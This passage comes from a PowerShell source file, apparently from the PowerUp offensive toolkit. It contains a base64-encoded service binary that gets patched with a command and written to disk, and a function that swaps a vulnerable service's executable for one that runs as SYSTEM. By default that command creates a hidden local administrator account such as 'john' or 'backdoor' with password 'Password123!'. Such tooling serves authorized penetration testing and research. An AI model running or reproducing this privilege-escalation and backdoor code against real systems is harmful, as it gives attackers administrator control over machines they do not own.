AgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIA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"
1983 [Byte[]] $Binary = [Byte[]][Convert]::FromBase64String($B64Binary)
1984
1985 if($PSBoundParameters['Command']) {
1986 $ServiceCommand = $Command
1987 }
1988 else {
1989 if($PSBoundParameters['Credential']) {
1990 $UserNameToAdd = $Credential.UserName
1991 $PasswordToAdd = $Credential.GetNetworkCredential().Password
1992 }
1993 else {
1994 $UserNameToAdd = $UserName
1995 $PasswordToAdd = $Password
1996 }
1997
1998 if($UserNameToAdd.Contains('\')) {
1999 # only adding a domain user to the local group, no user creation
2000 $ServiceCommand = "net localgroup $LocalGroup $UserNameToAdd /add"
2001 }
2002 else {
2003 # create a local user and add it to the local specified group
2004 $ServiceCommand = "net user $UserNameToAdd $PasswordToAdd /add && timeout /t 5 && net localgroup $LocalGroup $UserNameToAdd /add"
2005 }
2006 }
2007 }
2008
2009 PROCESS {
2010
2011 $TargetService = Get-Service -Name $Name
2012
2013 # get the unicode byte conversions of all arguments
2014 $Enc = [System.Text.Encoding]::Unicode
2015 $ServiceNameBytes = $Enc.GetBytes($TargetService.Name)
2016 $CommandBytes = $Enc.GetBytes($ServiceCommand)
2017
2018 # patch all values in to their appropriate locations
2019 for ($i=0; $i -lt ($ServiceNameBytes.Length); $i++) {
2020 # service name offset = 2458
2021 $Binary[$i+2458] = $ServiceNameBytes[$i]
2022 }
2023 for ($i=0; $i -lt ($CommandBytes.Length); $i++) {
2024 # cmd offset = 2535
2025 $Binary[$i+2535] = $CommandBytes[$i]
2026 }
2027
2028 Set-Content -Value $Binary -Encoding Byte -Path $Path -Force -ErrorAction Stop
2029
2030 $Out = New-Object PSObject
2031 $Out | Add-Member Noteproperty 'ServiceName' $TargetService.Name
2032 $Out | Add-Member Noteproperty 'Path' $Path
2033 $Out | Add-Member Noteproperty 'Command' $ServiceCommand
2034 $Out
2035 }
2036}
2037
2038
2039function Install-ServiceBinary {
2040<#
2041 .SYNOPSIS
2042
2043 Replaces the service binary for the specified service with one that executes
2044 a specified command as SYSTEM.
2045
2046 Author: @harmj0y
2047 License: BSD 3-Clause
2048
2049 .DESCRIPTION
2050
2051 Takes a esrvice Name or a ServiceProcess.ServiceController on the pipeline where the
2052 current user can modify the associated service binary listed in the binPath. Backs up
2053 the original service binary to "OriginalService.exe.bak" in service binary location,
2054 and then uses Write-ServiceBinary to create a C# service binary that either adds
2055 a local administrator user or executes a custom command. The new service binary is
2056 replaced in the original service binary path, and a custom object is returned that
2057 captures the original and new service binary configuration.
2058
2059 .PARAMETER Name
2060
2061 The service name the EXE will be running under.
2062
2063 .PARAMETER UserName
2064
2065 The [domain\]username to add. If not given, it defaults to "john".
2066 Domain users are not created, only added to the specified localgroup.
2067
2068 .PARAMETER Password
2069
2070 The password to set for the added user. If not given, it defaults to "Password123!"
2071
2072 .PARAMETER LocalGroup
2073
2074 Local group name to add the user to (default of 'Administrators').
2075
2076 .PARAMETER Credential
2077
2078 A [Management.Automation.PSCredential] object specifying the user/password to add.
2079
2080 .PARAMETER Command
2081
2082 Custom command to execute instead of user creation.
2083
2084 .EXAMPLE
2085
2086 PS C:\> Install-ServiceBinary -Name VulnSVC
2087
2088 Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary
2089 for VulnSVC with one that adds a local Administrator (john/Password123!).
2090
2091 .EXAMPLE
2092
2093 PS C:\> Get-Service VulnSVC | Install-ServiceBinary
2094
2095 Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary
2096 for VulnSVC with one that adds a local Administrator (john/Password123!).
2097
2098 .EXAMPLE
2099
2100 PS C:\> Install-ServiceBinary -Name VulnSVC -UserName 'TESTLAB\john'
2101
2102 Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary
2103 for VulnSVC with one that adds TESTLAB\john to the Administrators local group.
2104
2105 .EXAMPLE
2106
2107 PS C:\> Install-ServiceBinary -Name VulnSVC -UserName backdoor -Password Password123!
2108
2109 Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary
2110 for VulnSVC with one that adds a local Administrator (backdoor/Password123!).
2111
2112 .EXAMPLE
2113
2114 PS C:\> Install-ServiceBinary -Name VulnSVC -Command "net ..."
2115
2116 Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary
2117 for VulnSVC with one that executes a custom command.
2118#>
2119
2120 Param(
2121 [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
2122 [Alias('ServiceName')]
2123 [String]
2124 [ValidateNotNullOrEmpty()]
2125 $Name,
2126
2127 [String]
2128 $UserName = 'john',
2129
2130 [String]
2131 $Password = 'Password123!',
2132
2133 [String]
2134 $LocalGroup = 'Administrators',
2135
2136 [Management.Automation.PSCredential]
2137 $Credential,
2138
2139 [String]
2140 [ValidateNotNullOrEmpty()]
2141 $Command
2142 )
2143
2144 BEGIN {
2145 if($PSBoundParameters['Command']) {
2146 $ServiceCommand = $Command
2147 }
2148 else {
2149 if($PSBoundParameters['Credential']) {
2150 $UserNameToAdd = $Credential.UserName
2151 $PasswordToAdd = $Credential.GetNetworkCredential().Password
2152 }
2153 else {
2154 $UserNameToAdd = $UserName
2155 $PasswordToAdd = $Password
2156 }
2157
2158 if($UserNameToAdd.Contains('\')) {
2159 # only adding a domain user to the local group, no user creation
2160 $ServiceCommand = "net localgroup $LocalGroup $UserNameToAdd /add"
2161 }
2162 else {
2163 # create a local user and add it to the local specified group
2164 $ServiceCommand = "net user $UserNameToAdd $PasswordToAdd /add && timeout /t 5 && net localgroup $LocalGroup $UserNameToAdd /add"
2165 }
2166 }
2167 }
2168
2169 PROCESS {
2170
2171 $TargetService = Get-Service -Name $Name
2172
2173 $ServiceDetails = $TargetService | Get-ServiceDetail
2174
2175 $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -LiteralPaths
2176
2177 if(-not $ModifiableFiles) {
2178 throw "Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user."
2179 }
2180
2181 $ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty ModifiablePath
2182 $BackupPath = "$($ServicePath).bak"
2183
2184 Write-Verbose "Backing up '$ServicePath' to '$BackupPath'"
2185
2186 try {
2187 Copy-Item -Path $ServicePath -Destination $BackupPath -Force
2188 }
2189 catch {
2190 Write-Warning "Error backing up '$ServicePath' : $_"
